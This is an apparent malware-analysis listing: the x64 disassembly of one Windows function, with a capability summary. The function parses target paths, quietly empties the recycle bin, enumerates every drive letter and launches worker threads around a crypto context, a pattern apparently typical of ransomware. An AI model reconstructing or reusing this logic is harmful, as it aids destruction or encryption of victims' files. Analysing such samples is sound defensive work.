Function at 0x1400097c0
Capabilities:
Accept command line arguments
Create thread
Empty recycle bin quietly
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
sub rsp, 0xa8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.14000dcd0
call fcn.1400051e0
mov qword [0x14000f800], rax
test rax, rax
je 0x140009cd9
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x90], r13
mov qword [rsp + 0x88], r14
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x80], r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x38]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor edx, edx
xor ecx, ecx
mov rdi, rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov ecx, dword [rsp + 0x38]
lea r8, [0x140004300]
mov rdx, rdi
call fcn.1400052d0
test rax, rax
je 0x140009887
mov rcx, rax
mov qword [0x14000f050], rax
call fcn.140005360
mov dword [0x14000f808], 1
call fcn.140004df0
call fcn.1400050c0
call fcn.140004d30
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x60]
lea rcx, [0x14000f730]
lea eax, [rax*4]
lea edx, [rax + rax*2]
mov r12d, eax
add edx, edx
shr r12d, 1
call fcn.14000dd20
lea edx, [r12 + r12*2]
lea rcx, [0x14000f780]
call fcn.14000dd20
lea rbx, [r12*8]
mov ebp, r12d
mov rcx, rbx
call fcn.14000dcf0
mov rcx, rbx
mov r13, rax
call fcn.14000dcf0
mov r15, rax
test r13, r13
je 0x140009c84
test rax, rax
je 0x140009c84
mov r8, rbx
mov qword [rsp + 0xc0], rsi
mov rcx, r13
call fcn.14000dc90
mov rcx, r15
call fcn.14000dc90
test r12d, r12d
je 0x140009995
mov rdi, r13
mov rbx, r15
sub rdi, r15
mov esi, ebp
nop
mov qword [rsp + 0x28], r14
lea r8, [0x140009300]
mov r9d, 1
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140009300]
mov qword [rdi + rbx], rax
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx], rax
lea rbx, [rbx + 8]
sub rsi, 1
jne 0x140009940
mov rdi, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
lea r8, [0x140004310]
mov rdx, rdi
call fcn.1400052d0
mov ecx, dword [rsp + 0x38]
lea r8, [0x140004320]
mov rdx, rdi
mov r14, rax
call fcn.1400052d0
mov rdi, rax
test r14, r14
je 0x140009a4b
mov rcx, r14
mov esi, 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
test eax, eax
jle 0x140009a00
xor edx, edx
mov eax, edx
cmp word [r14 + rax*2], 0x2c
jne 0x1400099f2
mov word [r14 + rax*2], dx
inc esi
inc rax
cmp rax, rcx
jl 0x1400099e3
nop word [rax + rax]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, rcx
call fcn.14000dcf0
mov rdx, r14
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbx
call fcn.140009530
mov rcx, rbx
call fcn.14000dc70
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea r14, [r14 + rax*2]
sub esi, 1
jne 0x140009a00
test rdi, rdi
je 0x140009afb
mov rcx, rdi
mov esi, 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
test eax, eax
jle 0x140009a85
xor edx, edx
mov eax, edx
nop dword [rax]
cmp word [rdi + rax*2], 0x2c
jne 0x140009a7d
mov word [rdi + rax*2], dx
inc esi
inc rax
cmp rax, rcx
jl 0x140009a70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rcx, [rcx*2 + 2]
call fcn.14000dcf0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x140009acc
cmp word [rbx + 2], 0x3a
jne 0x140009acc
movzx ecx, word [rbx]
call fcn.1400096a0
jmp 0x140009ad4
mov rcx, rbx
call fcn.140008f60
mov rcx, rbx
call fcn.14000dc70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rdi, [rdi + rax*2]
sub esi, 1
jne 0x140009a85
test rdi, rdi
jne 0x140009b90
test r14, r14
jne 0x140009b90
lea r8, [0x140004330]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
jne 0x140009b90
lea r8, [0x140004330]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rsi, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
mov rdx, rsi
call fcn.140005270
cmp al, 1
jne 0x140009b4a
xor ecx, ecx
call fcn.140009400
call fcn.1400049f0
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
test eax, eax
je 0x140009b79
mov ebx, 0x41
test dil, 1
je 0x140009b6e
movzx ecx, bx
call fcn.1400096a0
shr edi, 1
inc bx
cmp bx, 0x5a
jbe 0x140009b60
mov ecx, dword [rsp + 0x38]
mov rdx, rsi
call fcn.140005270
test al, al
jne 0x140009b90
xor ecx, ecx
call fcn.140009400
mov rsi, qword [rsp + 0xc0]
test r12d, r12d
je 0x140009c3f
mov rbx, rbp
nop dword [rax]
nop dword [rax + rax]
xor edx, edx
lea rcx, [0x14000f780]
lea r8d, [rdx + 1]
call fcn.14000ddb0
sub rbx, 1
jne 0x140009bb0
mov r9d, 0xffffffff
lea r8d, [rbx + 1]
mov rdx, r13
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rbx, rbp
xor edx, edx
lea rcx, [0x14000f730]
lea r8d, [rdx + 1]
call fcn.14000ddb0
sub rbx, 1
jne 0x140009be1
mov r9d, 0xffffffff
lea r8d, [rbx + 1]
mov rdx, r15
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.140004d30
mov rdi, r13
mov rbx, r15
sub rdi, r15
nop dword [rax]
mov rcx, qword [rdi + rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rbp, 1
jne 0x140009c20
jmp 0x140009c74
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, r13
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, r15
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.140004d30
mov rcx, r13
call fcn.14000dc70
mov rcx, r15
call fcn.14000dc70
cmp dword [0x14000f808], 0
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
mov r13, qword [rsp + 0x90]
mov r12, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
je 0x140009cca
call fcn.140005510
mov rcx, qword [0x14000f800]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]